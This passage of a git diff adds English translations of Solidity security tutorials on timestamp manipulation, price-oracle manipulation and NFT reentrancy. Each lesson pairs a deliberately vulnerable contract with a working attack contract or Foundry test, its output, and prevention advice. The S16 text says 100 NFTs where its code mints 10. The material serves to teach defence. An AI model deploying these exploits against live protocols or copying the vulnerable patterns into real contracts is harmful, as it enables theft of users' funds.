depends on the block timestamp, it may be attacked. + +## Block Timestamp + +Block timestamp is a `uint64` value contained in the Ethereum block header, which represents the UTC timestamp (in seconds) when the block was created. Before the merge, Ethereum adjusts the block difficulty according to the computing power, so the block time is not fixed, and an average of 14.5s per block. Miners can manipulate the block timestamp; after the merge, it is changed to a fixed 12s per block, and the validator cannot manipulate the block timestamp. + +In Solidity, developers can get the current block timestamp through the global variable `block.timestamp`, which is of type `uint256`. + +## Vulnerable Contract Example + +This example is modified from the contract in [WTF Solidity S07. Bad Randomness](https://github.com/AmazingAng/WTF-Solidity/tree/main/32_Faucet). We changed the condition of the `mint()` minting function: it can only be successfully minted when the block timestamp can be divided by 170: + +```solidity +contract TimeManipulation is ERC721 { + uint256 totalSupply; + + // Constructor: Initialize the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: Only mint when the block timestamp is divisible by 170 + function luckyMint() external returns(bool success){ + if(block.timestamp % 170 == 0){ + _mint(msg.sender, totalSupply); // mint + totalSupply++; + success = true; + }else{ + success = false; + } + } +} +``` + +## Reproduce on Foundry + +Attackers only need to manipulate the block timestamp and set it to a number that can be divided by 170, and they can successfully mint NFTs. We choose Foundry to reproduce this attack because it provides cheatcode to modify the block timestamp. If you are not familiar with Foundry/cheatcode, you can read the [Foundry tutorial](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md) and [Foundry Book](https://book.getfoundry.sh/forge/cheatcodes). + +1. Create a `TimeManipulation` contract variable `nft`. +2. Create a wallet address `alice`. +3. Use the cheatcode `vm.warp()` to change the block timestamp to 169, which cannot be divided by 170, and the minting fails. +4. Use the cheatcode `vm.warp()` to change the block timestamp to 17000, which can be divided by 170, and the minting succeeds. + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.4; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/TimeManipulation.sol"; + +contract TimeManipulationTest is Test { + TimeManipulation public nft; + + // Computes address for a given private key + address alice = vm.addr(1); + + function setUp() public { + nft = new TimeManipulation(); + } + + // forge test -vv --match-test testMint + function testMint() public { + console.log("Condition 1: block.timestamp % 170 != 0"); + // Set block.timestamp to 169 + vm.warp(169); + console.log("block.timestamp: %s", block.timestamp); + // Sets all subsequent calls' msg.sender to be the input address + // until `stopPrank` is called + vm.startPrank(alice); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + + // Set block.timestamp to 17000 + console.log("Condition 2: block.timestamp % 170 == 0"); + vm.warp(17000); + console.log("block.timestamp: %s", block.timestamp); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + vm.stopPrank(); + } +} + +``` + +After installing Foundry, start a new project and install the openzeppelin library by entering the following command on the command line: + +```shell +forge init TimeMnipulation +cd TimeMnipulation +forge install Openzeppelin/openzeppelin-contracts +``` + +Copy the code of this lesson to the `src` and `test` directories respectively, and then start the test case with the following command: + +```shell +forge test -vv --match-test testMint +``` + +The test result is as follows: + +```shell +Running 1 test for test/TimeManipulation.t.sol:TimeManipulationTest +[PASS] testMint() (gas: 94666) +Logs: + Condition 1: block.timestamp % 170 != 0 + block.timestamp: 169 + alice balance before mint: 0 + alice balance after mint: 0 + Condition 2: block.timestamp % 170 == 0 + block.timestamp: 17000 + alice balance before mint: 0 + alice balance after mint: 1 + +Test result: ok. 1 passed; 0 failed; finished in 7.64ms +``` + +We can see that when we modify `block.timestamp` to 17000, the minting is successful. + +## Summary + +In this lesson, we introduced the block timestamp manipulation attack on smart contracts and reproduced it using Foundry. Before the merge, Ethereum miners can manipulate the block timestamp. If the pseudo-random number of the lottery contract depends on the block timestamp, it may be attacked. After the merge, Ethereum changed to a fixed 12s per block, and the validator cannot manipulate the block timestamp. Therefore, this type of attack will not occur on Ethereum, but it may still be encountered on other public chains. diff --git a/Languages/en/S14_TimeManipulation_en/src/TimeManipulation.sol b/Languages/en/S14_TimeManipulation_en/src/TimeManipulation.sol new file mode 100644 index 000000000..b35e54456 --- /dev/null +++ b/Languages/en/S14_TimeManipulation_en/src/TimeManipulation.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// English translation by 22X +pragma solidity ^0.8.4; +import "openzeppelin-contracts/token/ERC721/ERC721.sol"; + +contract TimeManipulation is ERC721 { + uint256 totalSupply; + + // Constructor: Initialize the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: Only mint when the block timestamp is divisible by 170 + function luckyMint() external returns(bool success){ + if(block.timestamp % 170 == 0){ + _mint(msg.sender, totalSupply); // mint + totalSupply++; + success = true; + }else{ + success = false; + } + } +} \ No newline at end of file diff --git a/Languages/en/S14_TimeManipulation_en/test/TimeManipulation.t.sol b/Languages/en/S14_TimeManipulation_en/test/TimeManipulation.t.sol new file mode 100644 index 000000000..5d42e4f99 --- /dev/null +++ b/Languages/en/S14_TimeManipulation_en/test/TimeManipulation.t.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.4; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/TimeManipulation.sol"; + +contract TimeManipulationTest is Test { + TimeManipulation public nft; + + // Computes address for a given private key + address alice = vm.addr(1); + + function setUp() public { + nft = new TimeManipulation(); + } + + // forge test -vv --match-test testMint + function testMint() public { + console.log("Condition 1: block.timestamp % 170 != 0"); + // Set block.timestamp to 169 + vm.warp(169); + console.log("block.timestamp: %s", block.timestamp); + // Sets all subsequent calls' msg.sender to be the input address + // until `stopPrank` is called + vm.startPrank(alice); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + + // Set block.timestamp to 17000 + console.log("Condition 2: block.timestamp % 170 == 0"); + vm.warp(17000); + console.log("block.timestamp: %s", block.timestamp); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + vm.stopPrank(); + } +} diff --git a/Languages/en/S15_OracleManipulation_en/img/S15-1.png b/Languages/en/S15_OracleManipulation_en/img/S15-1.png new file mode 100644 index 000000000..fca502c4f Binary files /dev/null and b/Languages/en/S15_OracleManipulation_en/img/S15-1.png differ diff --git a/Languages/en/S15_OracleManipulation_en/readme.md b/Languages/en/S15_OracleManipulation_en/readme.md new file mode 100644 index 000000000..3026f0ac1 --- /dev/null +++ b/Languages/en/S15_OracleManipulation_en/readme.md @@ -0,0 +1,244 @@ +--- +title: S15. Oracle Manipulation +tags: + - solidity + - security + - oracle +--- + +# WTF Solidity S15. Oracle Manipulation + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the oracle manipulation attack on smart contracts and reproduce it using Foundry. In the example, we use `1 ETH` to exchange for 17 trillion stablecoins. In 2021, oracle manipulation attacks caused user asset losses of more than 200 million U.S. dollars. + +## Price Oracle + +For security reasons, the Ethereum Virtual Machine (EVM) is a closed and isolated sandbox. Smart contracts running on the EVM can access on-chain information but cannot actively communicate with the outside world to obtain off-chain information. However, this type of information is crucial for decentralized applications. + +An oracle can help us solve this problem by obtaining information from off-chain data sources and adding it to the blockchain for smart contract use. + +One of the most commonly used oracles is a price oracle, which refers to any data source that allows you to query the price of a token. Typical use cases include: + +- Decentralized lending platforms (AAVE) use it to determine if a borrower has reached the liquidation threshold. +- Synthetic asset platforms (Synthetix) use it to determine the latest asset prices and support 0-slippage trades. +- MakerDAO uses it to determine the price of collateral and mint the corresponding stablecoin, DAI. + +![](./img/S15-1.png) + +## Oracle Vulnerabilities + +If an oracle is not used correctly by developers, it can pose significant security risks. + +- In October 2021, Cream Finance, a DeFi platform on the Binance Smart Chain, suffered a [theft of $130 million in user funds](https://rekt.news/cream-rekt-2/) due to an oracle vulnerability. +- In May 2022, Mirror Protocol, a synthetic asset platform on the Terra blockchain, suffered a [theft of $115 million in user funds](https://rekt.news/mirror-rekt/) due to an oracle vulnerability. +- In October 2022, Mango Market, a decentralized lending platform on the Solana blockchain, suffered a [theft of $115 million in user funds](https://rekt.news/mango-markets-rekt/) due to an oracle vulnerability. + +## Vulnerability Example + +Let's learn about an example of an oracle vulnerability in the `oUSD` contract. This contract is a stablecoin contract that complies with the ERC20 standard. Similar to the Synthetix synthetic asset platform, users can exchange `ETH` for `oUSD` (Oracle USD) with zero slippage in this contract. The exchange price is determined by a custom price oracle (`getPrice()` function), which relies on the instantaneous price of the `WETH-BUSD` pair on Uniswap V2. In the following attack example, we will see how this oracle can be easily manipulated. + +### Vulnerable Contract + +The `oUSD` contract includes `7` state variables to record the addresses of `BUSD`, `WETH`, the Uniswap V2 factory contract, and the `WETH-BUSD` pair contract. + +The `oUSD` contract mainly consists of `3` functions: + +- Constructor: Initializes the name and symbol of the `ERC20` token. +- `getPrice()`: Price oracle function that retrieves the instantaneous price of the `WETH-BUSD` pair on Uniswap V2. This is where the vulnerability lies. + ``` + // Get ETH price + function getPrice() public view returns (uint256 price) { + // Reserves in the pair + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Instantaneous price of ETH + price = reserve0/reserve1; + } + ``` +- `swap()` function, which exchanges `ETH` for `oUSD` at the price given by the oracle. + +Source Code: + +```solidity +contract oUSD is ERC20{ + // Mainnet contracts + address public constant FACTORY_V2 = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + + IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2); + IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD)); + IERC20 public weth = IERC20(WETH); + IERC20 public busd = IERC20(BUSD); + + constructor() ERC20("Oracle USD","oUSD"){} + + // Get ETH price + function getPrice() public view returns (uint256 price) { + // Reserves in the pair + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Instantaneous price of ETH + price = reserve0/reserve1; + } + + function swap() external payable returns (uint256 amount){ + // Get price + uint price = getPrice(); + // Calculate exchange amount + amount = price * msg.value; + // Mint tokens + _mint(msg.sender, amount); + } +} +``` + +### Attack Strategy + +We will attack the vulnerable `getPrice()` function of the price oracle. The steps are as follows: + +1. Prepare some `BUSD`, which can be our own funds or borrowed through flash loans. In the implementation, we use the Foundry's `deal` cheat code to mint ourselves `1,000,000 BUSD` on the local network. +2. Buy a large amount of `WETH` in the `WETH-BUSD` pool on UniswapV2. The specific implementation can be found in the `swapBUSDtoWETH()` function of the attack code. +3. The instantaneous price of `WETH` skyrockets. At this point, we call the `swap()` function to convert `ETH` into `oUSD`. +4. **Optional:** Sell the `WETH` bought in step 2 back to the `WETH-BUSD` pool to recover the principal. + +These 4 steps can be completed in a single transaction. + +### Reproduce on Foundry + +We will use Foundry to reproduce the manipulation attack on the oracle because it is fast and allows us to create a local fork of the mainnet for testing. If you are not familiar with Foundry, you can read [WTF Solidity Tools T07: Foundry](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md). + +1. After installing Foundry, start a new project and install the OpenZeppelin library by running the following command in the command line: + +```shell +forge init Oracle +cd Oracle +forge install Openzeppelin/openzeppelin-contracts +``` + +2. Create an `.env` environment variable file in the root directory and add the mainnet rpc to create a local testnet. + +``` +MAINNET_RPC_URL= https://rpc.ankr.com/eth +``` + +3. Copy the code from this lesson, `Oracle.sol` and `Oracle.t.sol`, to the `src` and `test` folders respectively in the root directory, and then start the attack script with the following command: + +``` +forge test -vv --match-test testOracleAttack +``` + +4. We can see the attack result in the terminal. Before the attack, the oracle `getPrice()` gave a price of `1216 USD` for `ETH`, which is normal. However, after we bought `WETH` in the `WETH-BUSD` pool on UniswapV2 with `1,000,000` BUSD, the price given by the oracle was manipulated to `17,979,841,782,699 USD`. At this point, we can easily exchange `1 ETH` for 17 trillion `oUSD` and complete the attack. + +```shell +Running 1 test for test/Oracle.t.sol:OracleTest +[PASS] testOracleAttack() (gas: 356524) +Logs: + 1. ETH Price (before attack): 1216 + 2. Swap 1,000,000 BUSD to WETH to manipulate the oracle + 3. ETH price (after attack): 17979841782699 + 4. Minted 1797984178269 oUSD with 1 ETH (after attack) + +Test result: ok. 1 passed; 0 failed; finished in 262.94ms +``` + +Attack Code: + +```solidity +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.4; +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/Oracle.sol"; + +contract OracleTest is Test { + address private constant alice = address(1); + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address private constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + IUniswapV2Router router; + IWETH private weth = IWETH(WETH); + IBUSD private busd = IBUSD(BUSD); + string MAINNET_RPC_URL; + oUSD ousd; + + function setUp() public { + MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); + // Specify the forked block + vm.createSelectFork(MAINNET_RPC_URL, 16060405); + router = IUniswapV2Router(ROUTER); + ousd = new oUSD(); + } + + //forge test --match-test testOracleAttack -vv + function testOracleAttack() public { + // Attack the oracle + // 0. Get the price before manipulating the oracle + uint256 priceBefore = ousd.getPrice(); + console.log("1. ETH Price (before attack): %s", priceBefore); + // Give yourself 1,000,000 BUSD + uint busdAmount = 1_000_000 * 10e18; + deal(BUSD, alice, busdAmount); + // 2. Buy WETH with BUSD to manipulate the oracle + vm.prank(alice); + busd.transfer(address(this), busdAmount); + swapBUSDtoWETH(busdAmount, 1); + console.log("2. Swap 1,000,000 BUSD to WETH to manipulate the oracle"); + // 3. Get the price after manipulating the oracle + uint256 priceAfter = ousd.getPrice(); + console.log("3. ETH price (after attack): %s", priceAfter); + // 4. Mint oUSD + ousd.swap{value: 1 ether}(); + console.log("4. Minted %s oUSD with 1 ETH (after attack)", ousd.balanceOf(address(this))/10e18); + } + + // Swap BUSD to WETH + function swapBUSDtoWETH(uint amountIn, uint amountOutMin) + public + returns (uint amountOut) + { + busd.approve(address(router), amountIn); + + address[] memory path; + path = new address[](2); + path[0] = BUSD; + path[1] = WETH; + + uint[] memory amounts = router.swapExactTokensForTokens( + amountIn, + amountOutMin, + path, + alice, + block.timestamp + ); + + // amounts[0] = BUSD amount, amounts[1] = WETH amount + return amounts[1]; + } +} +``` + +## How to Prevent + +Renowned blockchain security expert `samczsun` summarized how to prevent oracle manipulation in a [blog post](https://www.paradigm.xyz/2020/11/so-you-want-to-use-a-price-oracle). Here's a summary: + +1. Avoid using pools with low liquidity as price oracles. +2. Avoid using spot/instant prices as price oracles; incorporate price delays, such as Time-Weighted Average Price (TWAP). +3. Use decentralized oracles. +4. Use multiple data sources and select the ones closest to the median price as oracles to avoid extreme situations. +5. Carefully read the documentation and parameter settings of third-party price oracles. + +## Conclusion + +In this lesson, we introduced the manipulation of price oracles and attacked a vulnerable synthetic stablecoin contract, exchanging `1 ETH` for 17 trillion stablecoins, making us the richest person in the world (not really). diff --git a/Languages/en/S15_OracleManipulation_en/src/Oracle.sol b/Languages/en/S15_OracleManipulation_en/src/Oracle.sol new file mode 100644 index 000000000..82954b9bc --- /dev/null +++ b/Languages/en/S15_OracleManipulation_en/src/Oracle.sol @@ -0,0 +1,124 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.4; + +import "openzeppelin-contracts/token/ERC20/IERC20.sol"; +import "openzeppelin-contracts/token/ERC20/ERC20.sol"; + +contract oUSD is ERC20{ + // Mainnet contracts + address public constant FACTORY_V2 = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + + IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2); + IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD)); + IERC20 public weth = IERC20(WETH); + IERC20 public busd = IERC20(BUSD); + + constructor() ERC20("Oracle USD","oUSD"){} + + // Get ETH price + function getPrice() public view returns (uint256 price) { + // Reserves in the pair + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Instantaneous price of ETH + price = reserve0/reserve1; + } + + function swap() external payable returns (uint256 amount){ + // Get price + uint price = getPrice(); + // Calculate exchange amount + amount = price * msg.value; + // Mint tokens + _mint(msg.sender, amount); + } +} + +interface IUniswapV2Factory { + function getPair(address tokenA, address tokenB) + external + view + returns (address pair); +} + +interface IUniswapV2Pair { + function swap( + uint256 amount0Out, + uint256 amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + + function token1() external view returns (address); + + function getReserves() + external + view + returns ( + uint112 reserve0, + uint112 reserve1, + uint32 blockTimestampLast + ); + + function price0CumulativeLast() external view returns (uint); + + function price1CumulativeLast() external view returns (uint); + + function totalSupply() external view returns (uint); + + function balanceOf(address owner) external view returns (uint); +} + +interface IUniswapV2Router { + // Swap related + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + + function swapTokensForExactTokens( + uint amountOut, + uint amountInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + + // Liquidity related + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) + external + returns ( + uint amountA, + uint amountB, + uint liquidity + ); + + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB); + + function factory() external view returns (address); +} \ No newline at end of file diff --git a/Languages/en/S15_OracleManipulation_en/test/Oracle.t.sol b/Languages/en/S15_OracleManipulation_en/test/Oracle.t.sol new file mode 100644 index 000000000..95a1be173 --- /dev/null +++ b/Languages/en/S15_OracleManipulation_en/test/Oracle.t.sol @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.4; +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/Oracle.sol"; + +contract OracleTest is Test { + address private constant alice = address(1); + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address private constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + IUniswapV2Router router; + IWETH private weth = IWETH(WETH); + IBUSD private busd = IBUSD(BUSD); + string MAINNET_RPC_URL; + oUSD ousd; + + function setUp() public { + MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); + // Specify the forked block + vm.createSelectFork(MAINNET_RPC_URL, 16060405); + router = IUniswapV2Router(ROUTER); + ousd = new oUSD(); + } + + //forge test --match-test testOracleAttack -vv + function testOracleAttack() public { + // Attack the oracle + // 0. Get the price before manipulating the oracle + uint256 priceBefore = ousd.getPrice(); + console.log("1. ETH Price (before attack): %s", priceBefore); + // Give yourself 1,000,000 BUSD + uint busdAmount = 1_000_000 * 10e18; + deal(BUSD, alice, busdAmount); + // 2. Buy WETH with BUSD to manipulate the oracle + vm.prank(alice); + busd.transfer(address(this), busdAmount); + swapBUSDtoWETH(busdAmount, 1); + console.log("2. Swap 1,000,000 BUSD to WETH to manipulate the oracle"); + // 3. Get the price after manipulating the oracle + uint256 priceAfter = ousd.getPrice(); + console.log("3. ETH price (after attack): %s", priceAfter); + // 4. Mint oUSD + ousd.swap{value: 1 ether}(); + console.log("4. Minted %s oUSD with 1 ETH (after attack)", ousd.balanceOf(address(this))/10e18); + } + + // Swap BUSD to WETH + function swapBUSDtoWETH(uint amountIn, uint amountOutMin) + public + returns (uint amountOut) + { + busd.approve(address(router), amountIn); + + address[] memory path; + path = new address[](2); + path[0] = BUSD; + path[1] = WETH; + + uint[] memory amounts = router.swapExactTokensForTokens( + amountIn, + amountOutMin, + path, + alice, + block.timestamp + ); + + // amounts[0] = BUSD amount, amounts[1] = WETH amount + return amounts[1]; + } +} + +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + +interface IBUSD is IERC20 { + function balanceOf(address account) external view returns (uint); +} + diff --git a/Languages/en/S16_NFTReentrancy_en/NFTReentrancy.sol b/Languages/en/S16_NFTReentrancy_en/NFTReentrancy.sol new file mode 100644 index 000000000..99a63551a --- /dev/null +++ b/Languages/en/S16_NFTReentrancy_en/NFTReentrancy.sol @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// English translation by 22X +pragma solidity ^0.8.4; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// NFT contract with Reentrancy Vulnerability +contract NFTReentrancy is ERC721 { + uint256 public totalSupply; + mapping(address => bool) public mintedAddress; + // Constructor to initialize the name and symbol of the NFT collection + constructor() ERC721("Reentry NFT", "ReNFT"){} + + // Mint function, each user can only mint 1 NFT + // Contains a reentrancy vulnerability + function mint() payable external { + // Check if already minted + require(mintedAddress[msg.sender] == false); + // Increase total supply + totalSupply++; + // Mint the NFT + _safeMint(msg.sender, totalSupply); + // Record the minted address + mintedAddress[msg.sender] = true; + } +} + +contract Attack is IERC721Receiver { + NFTReentrancy public nft; // Address of the NFT contract + + // Initialize the NFT contract address + constructor(NFTReentrancy _nftAddr) { + nft = _nftAddr; + } + + // Attack function to initiate the attack + function attack() external { + nft.mint(); + } + + // Callback function for ERC721, repeatedly calls the mint function to mint 10 NFTs + function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { + if(nft.balanceOf(address(this)) < 10){ + nft.mint(); + } + return this.onERC721Received.selector; + } +} diff --git a/Languages/en/S16_NFTReentrancy_en/img/S16-1.png b/Languages/en/S16_NFTReentrancy_en/img/S16-1.png new file mode 100644 index 000000000..045fbf5b6 Binary files /dev/null and b/Languages/en/S16_NFTReentrancy_en/img/S16-1.png differ diff --git a/Languages/en/S16_NFTReentrancy_en/img/S16-2.png b/Languages/en/S16_NFTReentrancy_en/img/S16-2.png new file mode 100644 index 000000000..79abf69a3 Binary files /dev/null and b/Languages/en/S16_NFTReentrancy_en/img/S16-2.png differ diff --git a/Languages/en/S16_NFTReentrancy_en/readme.md b/Languages/en/S16_NFTReentrancy_en/readme.md new file mode 100644 index 000000000..dea93a089 --- /dev/null +++ b/Languages/en/S16_NFTReentrancy_en/readme.md @@ -0,0 +1,137 @@ +--- +title: S16. NFT Reentrancy Attack +tags: + - solidity + - security + - fallback + - nft + - erc721 + - erc1155 +--- + +# WTF Solidity S16. NFT Reentrancy Attack + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will discuss the reentrancy vulnerability in NFT contracts and attack a vulnerable NFT contract to mint 100 NFTs. + +## NFT Reentrancy Risk + +In [S01 Reentrancy Attack](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/S01_ReentrancyAttack_en/readme.md), we discussed that reentrancy attack is one of the most common attacks in smart contracts, where an attacker exploits contract vulnerabilities (e.g., `fallback` function) to repeatedly call the contract and transfer assets or mint a large number of tokens. When transferring NFTs, the contract's `fallback` or `receive` functions are not triggered. So why is there a reentrancy risk? + +This is because the NFT standards ([ERC721](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/34_ERC721_en/readme.md)/[ERC1155](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/40_ERC1155_en/readme.md)) have introduced secure transfers to prevent users from accidentally sending assets to a black hole. If the recipient address is a contract, it will call the corresponding check function to ensure that it is ready to receive the NFT asset. For example, the `safeTransferFrom()` function of ERC721 calls the `onERC721Received()` function of the target address, and a hacker can embed malicious code in it to launch an attack. + +We have summarized the functions in ERC721 and ERC1155 that have potential reentrancy risks: + +![](./img/S16-1.png) + +## Vulnerable Example + +Now let's learn an example of an NFT contract with a reentrancy vulnerability. This is an `ERC721` contract where each address can mint one NFT for free, but we can exploit the reentrancy vulnerability to mint multiple NFTs at once. + +### Vulnerable Contract + +The `NFTReentrancy` contract inherits from the `ERC721` contract. It has two main state variables: `totalSupply` to track the total supply of NFTs and `mintedAddress` to keep track of addresses that have already minted to prevent a user from minting multiple times. It has two main functions: + +- Constructor: Initializes the name and symbol of the `ERC721` NFT. +- `mint()`: Mint function where each user can mint one NFT for free. **Note: This function has a reentrancy vulnerability!** + +```solidity +contract NFTReentrancy is ERC721 { + uint256 public totalSupply; + mapping(address => bool) public mintedAddress; + // Constructor to initialize the name and symbol of the NFT collection + constructor() ERC721("Reentry NFT", "ReNFT"){} + + // Mint function, each user can only mint 1 NFT + // Contains a reentrancy vulnerability + function mint() payable external { + // Check if already minted + require(mintedAddress[msg.sender] == false); + // Increase total supply + totalSupply++; + // Mint the NFT + _safeMint(msg.sender, totalSupply); + // Record the minted address + mintedAddress[msg.sender] = true; + } +} +``` + +### Attack Contract + +The reentrancy vulnerability in the `NFTReentrancy` contract lies in the `mint()` function, which calls the `_safeMint()` function in the `ERC721` contract, which in turn calls the `_checkOnERC721Received()` function of the recipient address. If the recipient address's `_checkOnERC721Received()` contains malicious code, an attack can be performed. + +The `Attack` contract inherits the `IERC721Receiver` contract and has one state variable `nft` that stores the address of the vulnerable NFT contract. It has three functions: + +- Constructor: Initializes the address of the vulnerable NFT contract. +- `attack()`: Attack function that calls the `mint()` function of the NFT contract and initiates the attack. +- `onERC721Received()`: ERC721 callback function with embedded malicious code that repeatedly calls the `mint()` function and mints 10 NFTs. + +```solidity +contract Attack is IERC721Receiver { + NFTReentrancy public nft; // Address of the NFT contract + + // Initialize the NFT contract address + constructor(NFTReentrancy _nftAddr) { + nft = _nftAddr; + } + + // Attack function to initiate the attack + function attack() external { + nft.mint(); + } + + // Callback function for ERC721, repeatedly calls the mint function to mint 10 NFTs + function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { + if(nft.balanceOf(address(this)) < 10){ + nft.mint(); + } + return this.onERC721Received.selector; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `NFTReentrancy` contract. +2. Deploy the `Attack` contract with the `NFTReentrancy` contract address as the parameter. +3. Call the `attack()` function of the `Attack` contract to initiate the attack. +4. Call the `balanceOf()` function of the `NFTReentrancy` contract to check the holdings of the `Attack` contract. You will see that it holds `10` NFTs, indicating a successful attack. + +![](./img/S16-2.png) + +## How to Prevent + +There are two main methods to prevent reentrancy attack vulnerabilities: checks-effects-interactions pattern and reentrant guard. + +1. Checks-Effects-Interactions Pattern: This pattern emphasizes checking the state variables, updating the state variables (e.g., balances), and then interacting with other contracts. We can use this pattern to fix the vulnerable `mint()` function: + +```solidity + function mint() payable external { + // Check if already minted + require(mintedAddress[msg.sender] == false); + // Increase total supply + totalSupply++; + // Record the minted address + mintedAddress[msg.sender] = true; + // Mint the NFT + _safeMint(msg.sender, totalSupply); + } +``` + +2. Reentrant Lock: It is a modifier used to prevent reentrant functions. It is recommended to use [ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) provided by OpenZeppelin. + +## Summary + +In this lesson, we introduced the reentrancy vulnerability in NFTs and attacked a vulnerable NFT contract by minting 100 NFTs. Currently, there are two main methods to prevent reentrancy attacks: the checks-effects-interactions pattern and the reentrant lock. diff --git a/S01_ReentrancyAttack/readme.md b/S01_ReentrancyAttack/readme.md index 10be523d6..05530d614 100644 --- a/S01_ReentrancyAttack/readme.md +++ b/S01_ReentrancyAttack/readme.md @@ -9,31 +9,31 @@ tags: # WTF Solidity 合约安全: S01. 重入攻击 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 solidity,巩固一下细节,也写一个“WTF Solidity 极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 推特:[@0xAA_Science](https://twitter.com/0xAA_Science) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: 